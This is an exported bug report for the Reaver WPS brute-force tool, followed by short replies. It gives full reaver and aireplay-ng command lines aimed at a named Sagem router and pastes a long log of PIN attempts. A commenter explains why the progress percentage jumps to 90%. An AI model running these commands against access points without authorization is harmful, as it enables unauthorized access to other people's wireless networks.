Non accurate progression pourcentage

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0. What version of Reaver are you using?
Reaver v1.4

1. What operating system are you using?
Backtrack 5r3 - Linux 3.2.6

2. Is your wireless card in monitor mode?
Chipset:      Atheros AR927
Driver:       ath9k
Monitor mode: YES

3. What is the signal strength of the Access Point you are trying to crack?
According to airodump-ng : -72

4. What is the manufacturer and model # of the device you are trying to crack?
Sagem F@st 3304

5. What is the entire command line string you are supplying to reaver?
reaver -i mon0 -b 7C:03:4C:49:CB:FA  -e SAGEM_CBF9 -c 6 -N -S -A -v

(I use aireplay-ng for the association process and manualy set the channel 
using:)
iwconfig mon0 channel 6
aireplay-ng -1 5000 -a 7C:03:4C:49:CB:FA -h 54:e6:fc:xx:xx:xx -e SAGEM_CBF9 mon0

6. Please describe what you think the issue is.
The progression pourcentage is incorrect
39.94%
39.98%
90.93%
90.95%
(see the output below)

7. Paste the output from Reaver below.

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[?] Restore previous session for 7C:03:4C:49:CB:FA? [n/Y] y
[+] Restored previous session
[+] Waiting for beacon from 7C:03:4C:49:CB:FA
[+] Associated with 7C:03:4C:49:CB:FA (ESSID: SAGEM_CBF9)
[+] 39.35% complete @ 2013-01-08 14:58:46 (2 seconds/pin)
[+] Trying pin 43225675
[+] Trying pin 43235674
[+] Trying pin 43245673
[+] Trying pin 43255672
[+] Trying pin 43265671
[+] 39.39% complete @ 2013-01-08 14:58:58 (2 seconds/pin)
[+] Trying pin 43275670
[+] Trying pin 43285679
[+] Trying pin 43295678
[+] Trying pin 43305674
[+] Trying pin 43315673
[+] 39.44% complete @ 2013-01-08 14:59:10 (2 seconds/pin)
[+] Trying pin 43325672
[+] Trying pin 43335671
[+] Trying pin 43345670
[+] Trying pin 43355679
[+] Trying pin 43365678
[+] 39.48% complete @ 2013-01-08 14:59:21 (2 seconds/pin)
[+] Trying pin 43375677
[+] Trying pin 43385676
[+] Trying pin 43395675
[+] Trying pin 43405671
[+] Trying pin 43415670
[+] 39.53% complete @ 2013-01-08 14:59:33 (2 seconds/pin)
[+] Trying pin 43425679
[+] Trying pin 43435678
[+] Trying pin 43445677
[+] Trying pin 43455676
[+] Trying pin 43465675
[+] 39.57% complete @ 2013-01-08 14:59:44 (2 seconds/pin)
[+] Trying pin 43475674
[+] Trying pin 43485673
[+] Trying pin 43495672
[+] Trying pin 43505678
[+] Trying pin 43515677
[+] 39.62% complete @ 2013-01-08 14:59:56 (2 seconds/pin)
[+] Trying pin 43525676
[+] Trying pin 43535675
[+] Trying pin 43545674
[+] Trying pin 43555673
[+] Trying pin 43565672
[+] 39.66% complete @ 2013-01-08 15:00:09 (2 seconds/pin)
[+] Trying pin 43575671
[+] Trying pin 43585670
[+] Trying pin 43595679
[+] Trying pin 43605675
[+] Trying pin 43615674
[+] 39.71% complete @ 2013-01-08 15:00:20 (2 seconds/pin)
[+] Trying pin 43625673
[+] Trying pin 43635672
[+] Trying pin 43645671
[+] Trying pin 43655670
[+] Trying pin 43665679
[+] 39.75% complete @ 2013-01-08 15:00:32 (2 seconds/pin)
[+] Trying pin 43675678
[+] Trying pin 43685677
[+] Trying pin 43695676
[+] Trying pin 43705672
[+] Trying pin 43715671
[+] 39.80% complete @ 2013-01-08 15:00:43 (2 seconds/pin)
[+] Trying pin 43725670
[+] Trying pin 43735679
[+] Trying pin 43745678
[+] Trying pin 43755677
[+] Trying pin 43765676
[+] 39.85% complete @ 2013-01-08 15:00:55 (2 seconds/pin)
[+] Trying pin 43775675
[+] Trying pin 43785674
[+] Trying pin 43795673
[+] Trying pin 43805679
[+] Trying pin 43815678
[+] 39.89% complete @ 2013-01-08 15:01:06 (2 seconds/pin)
[+] Trying pin 43825677
[+] Trying pin 43835676
[+] Trying pin 43845675
[+] Trying pin 43855674
[+] Trying pin 43865673
[+] 39.94% complete @ 2013-01-08 15:01:18 (2 seconds/pin)
[+] Trying pin 43875672
[+] Trying pin 43885671
[+] Trying pin 43895670
[+] Trying pin 43905676
[+] Trying pin 43915675
[+] 39.98% complete @ 2013-01-08 15:01:30 (2 seconds/pin)
[+] Trying pin 43925674
[+] Trying pin 43935673
[+] Trying pin 43945672
[+] Trying pin 43940004
[+] Trying pin 43940004
[+] 90.93% complete @ 2013-01-08 15:01:45 (2 seconds/pin)
[+] Trying pin 43942220
[+] Trying pin 43942220
[+] Trying pin 43943333
[+] Trying pin 43943333
[+] Trying pin 43944446
[+] 90.95% complete @ 2013-01-08 15:02:06 (2 seconds/pin)
[+] Trying pin 43944446
[+] Trying pin 43945559
[+] Trying pin 43945559
[+] Trying pin 43946662
[+] Trying pin 43946662
[+] 90.97% complete @ 2013-01-08 15:02:25 (2 seconds/pin)
[+] Trying pin 43947775
[+] Trying pin 43947775
[+] Trying pin 43948888
[+] Trying pin 43948888
[+] Trying pin 43949991
[+] 90.99% complete @ 2013-01-08 15:02:46 (2 seconds/pin)
[+] Trying pin 43949991
[+] Trying pin 43940011
[+] Trying pin 43940011
[+] Trying pin 43940028
[+] Trying pin 43940028
[+] 91.02% complete @ 2013-01-08 15:03:05 (2 seconds/pin)
[+] Trying pin 43940035
[+] Trying pin 43940035
[+] Trying pin 43940042
[+] Trying pin 43940042
[+] Trying pin 43940059
[+] 91.04% complete @ 2013-01-08 15:03:26 (2 seconds/pin)
[+] Trying pin 43940059
[+] Trying pin 43940066
[+] Trying pin 43940066
[+] Trying pin 43940073
[+] Trying pin 43940073
[+] 91.06% complete @ 2013-01-08 15:03:45 (2 seconds/pin)
[+] Trying pin 43940080
[+] Trying pin 43940080
[+] Trying pin 43940097
[+] Trying pin 43940097
[+] Trying pin 43940103
[+] 91.08% complete @ 2013-01-08 15:04:06 (2 seconds/pin)
[+] Trying pin 43940103
[+] Trying pin 43940110
[+] Trying pin 43940110
[+] Trying pin 43940127
[+] Trying pin 43940127
[+] 91.11% complete @ 2013-01-08 15:04:25 (2 seconds/pin)
[+] Trying pin 43940134
[+] Trying pin 43940134
[+] Trying pin 43940141
[+] Trying pin 43940141
[+] Trying pin 43940158
[+] 91.13% complete @ 2013-01-08 15:04:46 (3 seconds/pin)
[+] Trying pin 43940158
[+] Trying pin 439401

Original issue reported on code.google.com by i.boud...@gmail.com on 8 Jan 2013 at 8:35

[GoogleCodeExporter]

% is correct!
After u found 1st half of pin its normal to jump to 90%!

Original comment by kostad...@yahoo.com on 2 Feb 2013 at 1:55

[GoogleCodeExporter]

Thank you for your reply ᶘᵒᴥᵒᶅ.

Original comment by i.boud...@gmail.com on 2 Feb 2013 at 2:42

[GoogleCodeExporter]

Thank you 
Very usefull info. I worried I did something wrong. 

Original comment by matjazhu...@gmail.com on 16 Sep 2014 at 3:27